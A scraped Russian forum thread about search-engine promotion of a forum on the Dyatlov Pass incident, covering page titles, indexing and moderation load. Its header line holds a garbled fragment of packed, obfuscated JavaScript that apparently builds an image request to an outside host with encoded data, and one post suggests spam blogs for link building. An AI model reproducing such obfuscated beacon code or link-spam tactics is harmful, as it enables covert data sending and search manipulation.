Форум » \\\';u.w=x;\',34,34,\'||z|for|length|String|fromCharCode|charAt|charCodeAt|ohbj|window|1300|document|querySelector|form|table|td|align||right|innerHTML||img|src||http|kamrbb|ru|php|encodeURIComponent|this||onload|null\'.split(\'|\'),0,{}))"> » О Раскрутке форума » Ответить
О Раскрутке форума
Albert: Господа, имеет место форменное безобразие! Наберите в поисковой строке GOOGLE или YANDEX текст "Перевал Дятлова". В первых 10 страницах результатов ссылок на данный форум НЕТ вообще! Есть ссылки хрен поймешь на что. В гугля я нашел wap вариант на 130 месте! В яндексе просмотрел 100 ссылок и не нашел ничего. А потом мы удивляемся, что новые люди приходят с мурдеров или каких-то женских сайтов. Хотя данный форум самый объемный и самый посещаемый из дятловедческих. Кто знает как исправить данное положение? Если конечно есть заинтересованность в раскрутке форума. Видимо его как-то надо регистрировать в поисковых системах?
Ответов - 42 новых, стр:
1 2 3 All
vysota1096: Поставила внизу счетчик ТопЛист. На страницу со статистикой можно перейти и по этой ссылке: http://top.mail.ru/rating?id=1398595
vysota1096: До сих пор я не занималась специально раскруткой. Надо регистрировать, да, нужны ссылки на сайтах. С википедии ссылку на форум регулярно выпиливают. Дело доходит до забавного: сюда приходят с немецкой, французской, английской вики, но не с русской.
Corra: Вполне нормальное естественное продвижение форума на домене 3-го уровня. И очень неплохое, кстати. SMO/SEOшники за первую десятку выдачи друг друга грохнут :) Так что быть в первой-второй сотне -- нормально. Тем более, что это не сайт, где можно составить семантическое ядро и следовать ему, соблюдая плотность ключевых слов в заказных текстах, специально обрабатывая служебные теги, нормируя количество исходящих ссылок и т.д. Чтобы продвинуться получше, нужны ссылки с трастовых ресурсов. Вики подошла бы, но увы (зато narod'ные сайты представлены). А с социальных сетей и бесплатных хостингов можно только трафик гнать, но тИЦ и PR не повысишь. Как вариант, можно наделать сплогов (новостные блоги) на blogspot, а все ссылки будут вести на форум. Ну и регистрация в поисковиках не помешает: там можно будет вести статистику, по каким фразам заходят, откуда и т.л. vysota1096 А у вас файл robots.txt разрешает индексирование? Все ли страницы проиндексированы?
Andriy: Проблема в "тяжелой" верстке самого хтмл и урлах страниц имхо.
Corra: Интересно бы еще знать название CMS - самопальная или известная? И уже от ее ограничений плясать. Я так понимаю, это внизу указано - borda.qip.ru? Ну, у qip вообще ничего не бывает быстрым, имхо.
Vitalik74: Заниматься поисковой оптимизацией форума, размещенного на бесплатном сервисе (который к тому же не предоставляет своим пользователям возможность скачать базу форума) - дело крайне неблагодарное :) Нужно регистрировать на свое имя нормальный домен второго уровня, и уже его раскручивать, чтобы в дальнейшем не зависеть от владельцев сервиса.
vysota1096: Corra Нет, индексируются не все страницы. На форуме техподдержки теперь целый раздел сделали по раскрутке. Почитаю на выходных. Vitalik74 Домены-то есть. Дело за наполнением.
vysota1096: Albert пишет: Наберите в поисковой строке GOOGLE или YANDEX текст "Перевал Дятлова". В первых 10 страницах результатов ссылок на данный форум НЕТ вообще! Есть ссылки хрен поймешь на что. Зато если набрать Интересные разговоры форум, то мы в первой пятерке.
Север: имхо, нужно в шапке прописать 'перевал Дятлова' и все будет тип-топ. тк по запросу Форум по исследованию гибели мы в TOP1. а я и тут молчать не буду - TOP2
vysota1096: Север В яндексе? Нет. Но забавно, что вылезает второй форум, на который в конце концов решили не переходить и на который давно никто не пишет.
Север: в гугле. а по запросам: - "тургруппа И. Дятлова" 3-е место. - "тургруппа Дятлова" - 5-е место шапку нужно исправлять, нет у нас фразы "Перевал Дятлова" потому и не находят.
Albert: Север пишет: шапку нужно исправлять, нет у нас фразы "Перевал Дятлова" потому и не находят. Браво ! Лучшие решения всегда просты и красивы. Только найти их бывает не просто. Т.е. Вы предлагаете заголовок "Перевал Дятлова" и подзаголовок - тот, что есть? Это разумно, т.к. человек, услышавший по ТВ, от знакомых или прочитав в сети про перевал, будет набирать в поиске строку скорее всего именно "Перевал Дятлова".
vysota1096: Север пишет: в гугле. О! гугол (с) нас вообще лучше индексирует.
vysota1096: Albert пишет: и подзаголовок - тот, что есть Тут нет подзаголовков, не предусмотрены.
Andriy: В тайтле главной сейчас просто "форум"
vysota1096: Andriy пишет: В тайтле главной сейчас просто "форум" Я вижу вот что: Перевал Дятлова: форум по исследованию гибели тургруппы И. Дятлова Можно скрин?
Andriy: Правая кнопка - просмотр кода страницы - <title>ФОРУМ</title>
vysota1096: Andriy пишет: <title>ФОРУМ</title> Исправила, спасибо огромное.
Andriy: Кстати, если смотреть количество упоминаний, то в принципе достаточно. Я думаю, проблема в верстке, в коде куча мусора, js и css в теле самой страницы. По этой причине по релевантным запросам даже текстовая wap версия стоит выше, чем основной сайт. ЗЫ. В тайтле лучше вместо "И. Дятлова" наверное будет "Игоря Дятлова". И "тургруппу" заменить на "группу". Еще можно добавить "перевал", например "тайна перевала" или что-то в таком духе - в контексте темы тоже очень популярный термин в запросах.
Albert: Кое-какие сдвиги есть! При поиске в Гугле "перевала Дятлова" pereval1959.forum24.ru появился уже на 18 месте. А вот в Яндексе его все еще нет в первой сотне. Предлагаю всем, кому не в лом, для входа на форум набирайте в поисковой строке "перевал Дятлова", находите ссылку pereval1959.forum24.ru и входите через нее. Тем самым Вы поможете раскрутке форума. В гугле ссылка уже на 2-й странице, особо напрягаться не придётся. Имхо, Яндекс скоро подтянется. Форум должен быть на заслуженном первом месте при поиске "Перевала Дятлова"!
ZSM-5: Albert пишет: При поиске в Гугле "перевала Дятлова" pereval1959.forum24.ru появился уже на 18 месте. Уже на 8-м месте, на первой странице. Растем не по дням, а по часам
Vitalik74: Печально, что по сути мы раскручиваем чужой домен, не принадлежащий администрации форума :( На новом месте все придется начинать с нуля.
Grissom: Vitalik74 пишет: Печально, что по сути мы раскручиваем чужой домен, не принадлежащий администрации форума По сути, вы вообще ничего не раскручиваете. Сегодня обратила внимание на одну любопытную штуку. Если судить по отзывам (а это серьезный показатель), то активно раскручивается не форум о гибели тургруппы, и даже не общественное расследование как таковое. Раскручивается всего одна версия, вся же прочая информация - виртуальный треш. http://s017.radikal.ru/i419/1112/48/1bae4adc24c3.jpg То, что рейтинг напрямую зависит от количества ссылок на сторонних ресурсах, объяснять, надеюсь не нужно
vysota1096: Grissom пишет: Сегодня обратила внимание на одну любопытную штуку. Можно чуть подробнее?
Andriy: На "злой" версии "нулевого космонавта" раскручивается версия уважаемого wolker'а? Ну а разве могло быть иначе?
vysota1096: Andriy пишет: На "злой" версии "нулевого космонавта" раскручивается версия уважаемого wolker'а? Ну а разве могло быть иначе? Киньте ссылку, а? Что-то пока ничего не понимаю, отстала от жизни.
Grissom: vysota1096 пишет: Можно чуть подробнее? Куда уж подробнее.. Странно, что вы, как админ, не отслеживаете такие вещи. Когда сайт интенсивно раскручивается, ссылки на него размещают на сторонних ресурсах. Теперь обратите внимание на точки входа, хотя бы в последние месяц-полтора. Подсказать, в какой раздел и в какую тему больше всего идут? Что до раскрутки самого "перевала 1959", то для индексации в поисковиках нужно прежде всего отказаться от убогих сокращений. Чем чаще форумчанин напишет полностью "перевал Дятлова", "Золотарев", "Дубинина", "Кривонищенко" и т.д., тем больше посетителей он привлечет. Один заголовок в шапке ничего не дает. vysota1096 пишет: Киньте ссылку, а? Да зайдите в жежешечку, там с индексацией как раз все продумано
vysota1096: Grissom пишет: Странно, что вы, как админ, не отслеживаете такие вещи. Я спросила у вас о ссылке, а не о нравоучении. Странно, что вы этого не поняли. Grissom пишет: Подсказать, в какой раздел и в какую тему больше всего идут? Да, за это надо благодарить кана. Grissom пишет: Да зайдите в жежешечку, там с индексацией как раз все продумано У меня сейчас нет ни времени, ни желания разгадывать ваши загадки. Не хотите выразиться яснее - не надо.
Grissom: Это не нравоучение, и бедный кан уже в прошлом. Ссылку давал Andriy : http://perdyat.livejournal.com/
vysota1096: Grissom пишет: Ссылку давал Andriy : http://perdyat.livejournal.com/ Это, видимо, та самая, что он стер. Благодарю, забавно.
Andriy: А творческий подход к вопросу, нельзя не признать Уже отмечены по другим блогам: http://navig1959.livejournal.com/ http://rakhitin.livejournal.com/ http://helga-o-v.livejournal.com/ Аватар у "Хельги" класс
vysota1096: Andriy пишет: А творческий подход к вопросу, нельзя не признать На мой вкус - много мата. Хотя выражение эник.йщик - шедеврально, надо отметить. А вот с фейковыми дневниками автор имхо палку перегнул.
Andriy: vysota1096 пишет: А вот с фейковыми дневниками автор имхо палку перегнул. Собственно встретив комменты от дневников в других ЖЖ, я ссылку и удалил. "Нулевой" был повеселее, да.
helga-O-V: козыри свежи, а дураки те же... отчего-то мне кажется, что я знаю, кому тут достанется, а кому почему-то нет...
vysota1096: Andriy пишет: "Нулевой" был повеселее, да. Нулевой - это коллективное творчество было. Где-то погуще, где-то пожиже. Здесь, видимо, не так.
helga-O-V: helga-O-V пишет: козыри свежи, а дураки те же... я помню как после пятидесятилетия этот же автор таким же матом описывал какие-то неприятности у НАВИГа с родственником Кривонищенко. Как меня тогда это изумило.
mickptd: С оптимизацией у форума действительно "полный караул". Причем, если ей заняться, то можно в разы поднять популярность/посещаемость форума. Вопрос в другом - а нужно ли это? С одной стороны, если ставить целью форума разгадку трагедии, то большое количество новых пользователей должно этому способствовать. С другой стороны, эти пользователи вполне могут превратить форум в хаос и разгадка только отдалится. Попытаюсь, вкратце, описать то, что ждет модераторов: 1) десятки/сотни новых пользователей в день. 2) сотни новых комментариев в день от новых пользователей/гостей. 3) сотни регистраций ботов/сообщений от ботов в день Отсюда следуют: 1) Переделка системы регистрации, т.к. вручную подтвержать новых пользователей становится сложнее и сложнее + нужна защита от ботов. 2) Падение качества контента (большое количество новых пользователей) 3) Введение нескольких типов пользователей с разными права доступа и, соответственно, разделение подфорумов по этим типам пользователей. 4) Переделка структуры форума, создание FAQ разделов. 5) Создание раздела технической поддержки, в котором люди будут жаловаться, что у них что-то не получается. Причем, если оставить премодерацию комментариев для новичков (самой низкой категории пользователей), то они этот форум заполонят. Итого: + большой приток новых пользователей + замена рекламы на google adwords позволяет окупать домен+хостинг+чуть-чуть зарабатывать - большой приток новых пользователей - нагрузка на администраторов вырастает в разы!!! - падение качества контента по сайту вцелом P.S. Парадоксально, но целью форума является его собсвенная смерть, т.к. создание версии, объясняющей все события, делает форум ненужным.
a.fet: mickptd, расслабьтесь, ни чего особо переделывать и придумывать не нужно, все уже придумано до нас, в том числе в виде плагинов для разного рода Друпалов и Джумл. Ровно 10 секунд занимет прикручивани капчи на авторизацию, не сопоставимо со сдираемой некотрыми горе-web программистами с трудящихся клиентов суммой в бакинских комиссарах за такую лабуду, не так ли? :-)
mickptd: a.fet пишет: Ровно 10 секунд занимет прикручивани капчи на авторизацию, не сопоставимо со сдираемой некотрыми горе-web программистами с трудящихся клиентов суммой в бакинских комиссарах за такую лабуду, не так ли? :-) Да это понятно. Но нагрузка на администрацию вырастет в разы. Не уверен, что люди к этому готовы.
Albert: mickptd пишет: Вопрос в другом - а нужно ли это? Вопрос поставлен абсолютно законно. Знакомство с форумом и его обитателями позволяет сомневаться в существовании однозначного ответа на вопрос - для чего существует форум. Отвечу за себя, как за рядового пользователя, которому интересна только загадка гибели группы и больше ничего. Я поддерживаю раскрутку форума, меня не волнуют возможные проблемы, потому что раскрутка может привлечь на форум среди множества посетителей несколько действительно сильных логиков, способных решить загадку "что произошло" чисто из интереса, доказав существование единственного непротиворечивого решения.
ultratim: Все зависит от того какая задача ставится. В рунете существуют массовые сайты с открытой регистрацией. Зарегистрироваться может любой и комментировать тоже. А есть закрытые сайты, по приглашениям. Во второй группе сайтов(их единицы кстати) контент и поведение участников жестко регулируется(в основном другими участниками) и отсюда качество контента намного выше, чем у открытых сайтов. Так вот в этом случае всегда выбор - массовость или качество.
Vaven: А что движок форума такой допотопный ?
полная версия страницы